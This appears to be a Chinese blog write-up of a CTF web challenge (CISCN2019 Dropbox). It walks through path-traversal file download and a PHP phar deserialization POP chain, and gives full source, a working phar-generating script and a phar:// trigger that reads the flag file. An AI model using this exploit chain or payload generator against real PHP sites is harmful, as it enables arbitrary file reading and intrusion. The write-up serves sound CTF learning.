[CISCN2019 华北赛区 Day1 Web1]Dropbox
巨抽象的题:
知识点:phar反序列化
Phar反序列化_葫芦娃42的博客-CSDN博客
一进来就是注册
有两个选项:一个下载,一个删除。
一般看见下载/删除,都会有一个download.php 可能会存在任意文件下载的漏洞
通过测试,发现filename参数可控 下载index.php发现文件不存在,可能是路径原因 通过测试,index.php在其上级目录的上级目录
filename=../../index.php
看见index.php里 include了class.php
class.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
|
download.php::
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
|
delete.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
可以定义了很多类,那考点肯定就是序列化反序列化这里了。 审计代码,file_get_contents() 函数 $filename参数没有过滤,肯定是通过此得到flag。
定义的是 close 函数,我们看看哪里调用了这个close()
发现在 User类里的__destruct() 调用了 close()。寻找可以触发 __destruct的unserialize(). 没有。
这里就考到了phar反序列化:phar://伪协议,我们便不再需要unserialize(),phar的特性,他在解析phar文件时时会自动对里面的内容进行反序列化。 再有 前面只允许上传图片,phar可以解析png后缀,因此考点肯定是phar反序列化。
在 File类中的 open()方法,会给$this-filename = $filename. download.php和delete.php里存在 但是download.php会受到init_set(“openbase_dir”,) 的限制,因此只有delete.php可以触发phar反序列化。 里面的 $file->open()里的file_exists()函数 和 $file->delete()的unlink()函数会触发phar反序列化
开始找pop链子:
1.肯定是close方法里的file_get_contents函数,在File类中,close方法存在file_get_contents()函数,在User中,会调用改方法$this->db->close(),如果有回显的化,我们就可以直接构造如下payload:
1 2 3 4 5 6 7 8 9 10
| <?php class User { public $db; } class File { public $filename = "/flag.txt"; } $a = new User(); $a->db = new File(); ?>
|
生成对应的phar文件即可。
生成phar文件的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
class User { public $db; } class FileList { private $files; public function __construct() { $this->files = array(new File()); } }
class File { public $filename = '/flag.txt'; } $a = new User(); $a->db = new FileList();
@unlink('test.phar');
$phar=new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
但是没有回显,那么我们就让$this->db = new FileList(),让它去调用close。然而当执行FileList->close()时,因为FileList类中没有close()这个方法所以会调用FileList->_call()从而遍历全文件找close()方法
1 2 3 4 5 6
| public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
|
看一下这个call函数,它会把close当成参数传入$func, $this->func()的结果会被赋值给 $this->results[$file->name()] 这个一维数组,即我们的file_get_contents(‘/flag.txt’) ,构成了一个$this->results二维数组(也就是$this->results[文件名][‘close’]) 学过c语言 二维数组更好理解一点。 这个二维数组中的 $this->results[‘/flag.txt’][‘close’] 即为我们的flag
调用完__call(),$this->results二维数组赋值完之后。然后再调用 __destruct()函数 去输出我们的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; }
|
foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即$this-results[filename][]
foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
最终echo $table 打印出来全部数据
1 2 3
| 链子:
User->_destruct => FileList->close() => FileList->_call('close') => File->close('/flag.txt') => $results=file_get_contents('flag.txt') => FileList->_destruct() => echo $result
|
注:download.php文件中 open_basedir 限制了当前程序可以访问的目录
1
| ini_set("open_basedir", getcwd() . ":/etc:/tmp");
|
因此我们只能用 delete.php 去触发phar反序列化
生成的phar文件后缀为png上传,
传入 filename=phar://a.png
成功$value带出来,把flag回显出来了 得到flag
(题目无敌了,我还只是个练习时长不足1年的菜鸡~~~,呜呜呜,裂开哩)
Author:
odiws
Permalink:
http://odiws.github.io/2024/05/30/Web1-Dropbox/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?